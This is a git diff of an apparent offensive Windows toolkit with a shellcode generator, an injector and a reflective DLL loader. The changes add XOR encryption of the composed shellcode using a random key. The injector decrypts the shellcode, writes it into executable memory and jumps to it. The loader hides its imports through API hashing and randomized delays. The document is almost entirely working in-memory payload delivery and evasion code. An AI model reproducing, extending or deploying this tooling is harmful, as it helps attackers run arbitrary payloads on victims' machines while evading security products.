diff --git a/generator/generator.cpp b/generator/generator.cpp index c9daa96..b7b5769 100644 --- a/generator/generator.cpp +++ b/generator/generator.cpp @@ -1,12 +1,6 @@ -#include -#include -#include -#include -#include -#include - #include "generator.hpp" #include "../shared/crypto.hpp" +#include "../shared/futils.hpp" int main(int argc, char **argv) { @@ -68,26 +62,12 @@ int main(int argc, char **argv) std::cout << "[+] Payload path: " << payloadPath << std::endl; std::cout << "[+] Output path: " << outputPath << std::endl; - LPBYTE loaderContents; - DWORD loaderSize; - - if (!GetFileContents(loaderPath, &loaderContents, &loaderSize)) - { - return 1; - } - - LPBYTE payloadContents; - DWORD payloadSize; - - if (!GetFileContents(payloadPath, &payloadContents, &payloadSize)) - { - return 1; - } + auto loaderContents = ReadFromFile(loaderPath); + auto payloadContents = ReadFromFile(payloadPath); // Compose the complete shellcode from loader, payload, and bootstrap std::vector bootstrap; - DWORD bootstrapSize = BOOTSTRAP_LEN; DWORD funcParameterHash = CalculateHash(funcParameter); /* @@ -173,7 +153,7 @@ int main(int argc, char **argv) bootstrap.push_back(0x49); bootstrap.push_back(0x81); bootstrap.push_back(0xc0); - auto funcParameterOffset = (bootstrapSize - 5) + loaderSize + payloadSize; + auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size(); for (size_t i = 0; i < sizeof(funcParameterOffset); i++) { @@ -192,7 +172,7 @@ int main(int argc, char **argv) bootstrap.push_back(0x48); bootstrap.push_back(0x81); bootstrap.push_back(0xc1); - auto payloadOffset = (bootstrapSize - 5) + loaderSize; + auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size(); for (size_t i = 0; i < sizeof(payloadOffset); i++) { @@ -205,7 +185,7 @@ int main(int argc, char **argv) // Call -> Call the reflective loader address bootstrap.push_back(0xe8); - auto reflectiveLoaderAddress = (bootstrapSize - 5) + loaderSize; + auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size(); for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++) { @@ -235,15 +215,15 @@ int main(int argc, char **argv) bootstrap.push_back(0x90); bootstrap.push_back(0x90); - if (bootstrap.size() != bootstrapSize) + if (bootstrap.size() != BOOTSTRAP_LEN) { - std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << bootstrapSize << std::endl; + std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl; return 1; } std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl; - std::cout << "[+] Loader size: " << loaderSize << std::endl; - std::cout << "[+] Payload size: " << payloadSize << std::endl; + std::cout << "[+] Loader size: " << loaderContents.size() << std::endl; + std::cout << "[+] Payload size: " << payloadContents.size() << std::endl; /* Form the complete shellcode with the following structure: @@ -253,67 +233,26 @@ int main(int argc, char **argv) - User data */ - bootstrap.insert(bootstrap.end(), loaderContents, loaderContents + loaderSize); - bootstrap.insert(bootstrap.end(), payloadContents, payloadContents + payloadSize); + bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end()); + bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end()); - std::cout << "[+] Total shellcode size: " << bootstrap.size() << std::endl; + // XOR with a random content length key + std::cout << "[+] XOR'ing the shellcode..." << std::endl; + auto key = GenerateKey(bootstrap.size()); + XorCipher(bootstrap, key); - if (!WriteFileContents(outputPath, bootstrap.data(), bootstrap.size())) - { - return 1; - } + std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl; - auto srcUuid = GenerateUuid(); - std::cout << "[+] AES key derivation UUID: " << srcUuid << std::endl; + WriteToFile(outputPath, bootstrap); + std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl; - std::cout << "[+] " << std::endl; + auto keyPath = outputPath + ".key"; + WriteToFile(keyPath, key); + std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl; return 0; } -BOOL GetFileContents(std::string filePath, LPBYTE *fileContents, DWORD *fileSize) -{ - std::ifstream infile(filePath, std::ios::binary | std::ios::ate); - - if (!infile) - { - std::cout << "[!] Failed to open file for reading: " << filePath << std::endl; - return FALSE; - } - - *fileSize = static_cast(infile.tellg()); - infile.seekg(0, std::ios::beg); - - *fileContents = new BYTE[*fileSize]; - infile.read(reinterpret_cast(*fileContents), *fileSize); - infile.close(); - - return TRUE; -} - -BOOL WriteFileContents(std::string filePath, LPBYTE fileContents, DWORD fileSize) -{ - std::ofstream outfile(filePath, std::ios::binary); - - if (!outfile) - { - std::cout << "[!] Failed to open file for writing: " << filePath << std::endl; - return FALSE; - } - - outfile.write(reinterpret_cast(fileContents), fileSize); - - if (!outfile.good()) - { - std::cout << "[!] Failed to write the contents: " << filePath << std::endl; - return FALSE; - } - - outfile.close(); - - return TRUE; -} - void PrintHelp(char **argv) { std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl; diff --git a/generator/generator.hpp b/generator/generator.hpp index f0ddb6c..b0d0891 100644 --- a/generator/generator.hpp +++ b/generator/generator.hpp @@ -1,12 +1,9 @@ #pragma once #include -#include +#include +#include -#define BOOTSTRAP_LEN 79 - -// Utils -BOOL GetFileContents(std::string filePath, LPBYTE *fileContents, DWORD *fileSize); -BOOL WriteFileContents(std::string filePath, LPBYTE fileContents, DWORD fileSize); +constexpr auto BOOTSTRAP_LEN = 79; void PrintHelp(char **argv); \ No newline at end of file diff --git a/injector/injector.cpp b/injector/injector.cpp index 77123ce..4a28d98 100644 --- a/injector/injector.cpp +++ b/injector/injector.cpp @@ -1,14 +1,15 @@ #include #include -#include +#include "../shared/futils.hpp" +#include "../shared/crypto.hpp" #define VERBOSE 1 int main(int argc, char **argv) { - if (argc != 2) + if (argc != 3) { - std::cout << "[?] Usage: " << argv[0] << " " << std::endl; + std::cout << "[?] Usage: " << argv[0] << " " << std::endl; return 1; } @@ -16,41 +17,40 @@ int main(int argc, char **argv) std::cout << "[+] Reading shellcode from " << argv[1] << std::endl; #endif - std::ifstream shellcode(argv[1]); + auto shellcodeContents = ReadFromFile(argv[1]); - if (!shellcode.is_open()) - { - std::cout << "[!] Failed to open " << argv[1] << std::endl; - return 1; - } +#ifdef VERBOSE + std::cout << "[+] Reading XOR key from " << argv[2] << std::endl; +#endif - shellcode.seekg(0, std::ios::end); - size_t filesize = shellcode.tellg(); - shellcode.seekg(0, std::ios::beg); + auto key = ReadFromFile(argv[2]); - auto buffer = new char[filesize]; - shellcode.read(buffer, filesize); +#ifdef VERBOSE + std::cout << "[+] XOR'ing shellcode" << std::endl; +#endif - auto base = VirtualAlloc(nullptr, filesize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + XorCipher(shellcodeContents, key); - if (!base) + auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + if (!baseAddress) { std::cout << "[!] Failed to allocate memory" << std::endl; return 1; } #ifdef VERBOSE - std::cout << "[+] Allocated " << filesize << " bytes at " << base << std::endl; + std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl; #endif - std::copy(buffer, buffer + filesize, static_cast(base)); + std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast(baseAddress)); #ifdef VERBOSE - std::cout << "[+] Copied shellcode to " << base << std::endl; - std::cout << "[+] Executing 'jmp " << base << "'" << std::endl; + std::cout << "[+] Copied shellcode to " << baseAddress << std::endl; + std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl; #endif - __asm__("jmp *%0" ::"r"(base)); + __asm__("jmp *%0" ::"r"(baseAddress)); return 0; } diff --git a/reflective_loader/loader.cpp b/reflective_loader/loader.cpp index 8075296..4618a5c 100644 --- a/reflective_loader/loader.cpp +++ b/reflective_loader/loader.cpp @@ -1,10 +1,3 @@ -#include -#include -#include -#include -#include -#include - #include "loader.hpp" #include "../shared/crypto.hpp" diff --git a/reflective_loader/loader.hpp b/reflective_loader/loader.hpp index 27e098e..c7191d0 100644 --- a/reflective_loader/loader.hpp +++ b/reflective_loader/loader.hpp @@ -2,7 +2,7 @@ #include #include -#include +#include constexpr auto MAX_IMPORT_DELAY_MS = 6 * 1000; constexpr auto OBFUSCATE_IMPORTS = 1; @@ -62,12 +62,10 @@ struct _IMAGE_RELOC using IMAGE_RELOC = _IMAGE_RELOC; using PIMAGE_RELOC = _IMAGE_RELOC *; -// Utils PBYTE GetModuleAddressFromHash(DWORD dwHash); HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng); PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage); -// Loader functions void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders); BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta); BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng); diff --git a/shared/crypto.cpp b/shared/crypto.cpp index 7ffcb1a..8ca698b 100644 --- a/shared/crypto.cpp +++ b/shared/crypto.cpp @@ -1,41 +1,26 @@ -#include -#include -#include - #include "crypto.hpp" -std::string GenerateUuid() +std::vector GenerateKey(size_t keysize) { - // Source: https://stackoverflow.com/a/60198074/15310712 - - std::stringstream ss; + std::vector key(keysize, 0); std::random_device rd; std::mt19937 gen(rd()); - std::uniform_int_distribution<> dis(0, 15); - std::uniform_int_distribution<> dis2(8, 11); + std::uniform_int_distribution<> dis(0, 255); - ss << std::hex; - - auto generateHex = [&](int count) + for (size_t i = 0; i < key.size(); ++i) { - for (int i = 0; i < count; ++i) - { - ss << dis(gen); - } - }; + key[i] = static_cast(dis(gen)); + } - generateHex(8); - ss << "-"; - generateHex(4); - ss << "-4"; - generateHex(3); - ss << "-"; - ss << dis2(gen); - generateHex(3); - ss << "-"; - generateHex(12); + return key; +} - return ss.str(); +void XorCipher(std::vector &data, const std::vector &key) +{ + for (auto i = 0; i < data.size(); i++) + { + data[i] = data[i] ^ key[i % key.size()]; + } } DWORD CalculateHash(const std::string &source) diff --git a/shared/crypto.hpp b/shared/crypto.hpp index 60bcf96..5ce525f 100644 --- a/shared/crypto.hpp +++ b/shared/crypto.hpp @@ -1,10 +1,13 @@ #pragma once #include +#include #include +#include constexpr auto HASH_KEY = 5381; -std::string GenerateUuid(); +std::vector GenerateKey(size_t keysize); +void XorCipher(std::vector &data, const std::vector &key); DWORD CalculateHash(const std::string &source); DWORD CalculateHash(const UNICODE_STRING &baseDllName);